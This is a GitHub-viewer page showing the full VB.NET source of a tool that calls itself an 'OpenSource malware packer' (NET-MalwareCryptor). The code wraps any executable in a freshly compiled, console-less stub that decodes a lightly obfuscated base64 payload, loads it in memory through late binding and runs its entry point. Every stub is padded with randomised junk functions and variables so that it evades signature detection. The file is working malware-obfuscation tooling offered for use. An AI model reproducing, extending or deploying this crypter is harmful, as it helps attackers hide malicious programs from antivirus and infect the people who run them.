FazBrowse GitHub Viewer | Trending | | Home

Tools: [Download Repo ZIP] [View Raw Code] [Original HTTPS Page]

NET-MalwareCryptor/Module1.vb at main · DosX-dev/NET-MalwareCryptor · GitHub

115 lines (98 loc) · 5.45 KB

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

Imports System.CodeDom.Compiler

Imports System.Reflection

Imports System.IO

Imports System.Security.Cryptography

Imports System.Text

Module Module1

Sub Main()

Console.WriteLine(" .NET MalwareCryptor :: OpenSource malware packer" & vbCrLf & " https://github.com/DosX-dev/NET-MalwareCryptor" & vbCrLf)

' Checking for command line arguments

If My.Application.CommandLineArgs.Count <> 1 Then

Console.WriteLine("Invalid number of command line arguments." & vbCrLf & "Usage: ... <file>")

Exit Sub

End If

Dim filePath As String = My.Application.CommandLineArgs(0)

' Checking if the specified file exists

If Not File.Exists(filePath) Then

Console.WriteLine("The specified file does not exist.")

Exit Sub

End If

' Loading the file content

Dim fileBytes As Byte() = File.ReadAllBytes(filePath),

base64String As String = Convert.ToBase64String(fileBytes)

' Getting the assembly name without the extension

Dim assemblyName As String = Path.GetFileNameWithoutExtension(filePath),

source As String = "Imports System" & vbCrLf &

"Imports System.Reflection" & vbCrLf &

"Imports Microsoft.VisualBasic.CompilerServices" & vbCrLf &

"Imports System.Runtime.CompilerServices" & vbCrLf &

"Module Program" & vbCrLf &

"Private EP = ""EntryPoint"", INV = ""Invoke"", L = ""Load"" , N = Nothing, T = True, F = False" & vbCrLf &

GenerateJunkVariables() & vbCrLf &

"Sub Main()" & vbCrLf &

GenerateJunkVariables() & vbCrLf &

"Inject(GetStub(System.Convert.FromBase64String(""" & base64String.Replace("m", "_") & """.Replace(""_"", ""m""))))" & vbCrLf &

GenerateJunkVariables() & vbCrLf &

"End Sub" & vbCrLf &

"Sub Inject(payload As Object)" & vbCrLf &

GenerateJunkVariables() & vbCrLf &

"NewLateBinding.LateCall(NewLateBinding.LateGet(payload, N, EP, New Object(-1) {}, N, N, N), N, INV, New Object() { N, N }, N, N, N, T)" & vbCrLf &

GenerateJunkVariables() & vbCrLf &

"End Sub" & vbCrLf &

"Function GetStub(payload As Object)" & vbCrLf &

GenerateJunkVariables() & vbCrLf &

"Dim result = NewLateBinding.LateGet(N, GetType(Assembly), L, New Object() { RuntimeHelpers.GetObjectValue(payload) }, N, N, New Boolean() { T })" & vbCrLf &

GenerateJunkVariables() & vbCrLf &

"Return result" & vbCrLf &

"End Function" & vbCrLf &

GenerateJunkFunctions() & vbCrLf &

"End Module"

Dim provider As New VBCodeProvider(),

parameters As New CompilerParameters With {

.GenerateExecutable = True, ' Generating an executable file (.exe)

.OutputAssembly = assemblyName & ".crypted.exe", ' Name and path to save the executable file

.CompilerOptions = "/target:winexe /platform:x86" ' Compiler options to create a 32-bit console-less file

},

results As CompilerResults = provider.CompileAssemblyFromSource(parameters, source)

' Checking for compilation errors

If results.Errors.HasErrors Then

Console.WriteLine("Compilation error:")

For Each errorItem As CompilerError In results.Errors

Console.WriteLine($" {errorItem.Line}: {errorItem.ErrorText}")

Next

Else

Console.WriteLine("Compilation completed successfully. Created executable file '" & parameters.OutputAssembly & "'.")

End If

End Sub

Dim random As New Random()

Function GenerateJunkFunctions() As String

Dim result As New StringBuilder()

For i = 0 To random.Next(100, 200)

result.AppendLine("Function " & GenerateRandomName() & random.Next(0, 9) & "()" & vbCrLf & "End Function")

Next

Return result.ToString()

End Function

Function GenerateJunkVariables() As String

Dim result As New StringBuilder()

For i = 0 To random.Next(25, 50)

result.AppendLine("Dim " & GenerateRandomName() & " As Object = " & GetRandomArrayItem({"N", "Nothing", "T", "F", "True", "False", random.Next(-1000, 50000)}))

Next

Return result.ToString()

End Function

Function GetRandomArrayItem(Of T)(array As T()) As T

Dim randomIndex As Integer = Random.Next(0, array.Length)

Return array(randomIndex)

End Function

Function GenerateRandomName() As String

Dim builder As New StringBuilder()

Using rng As New RNGCryptoServiceProvider()

Dim bytes(3) As Byte

rng.GetBytes(bytes)

For Each b As Byte In bytes

Dim randomChar As Char = ChrW(b Mod 26 + 97)

builder.Append(randomChar)

Next

End Using

Return builder.ToString()

End Function

End Module

Back | FazBrowse Home | New Git URL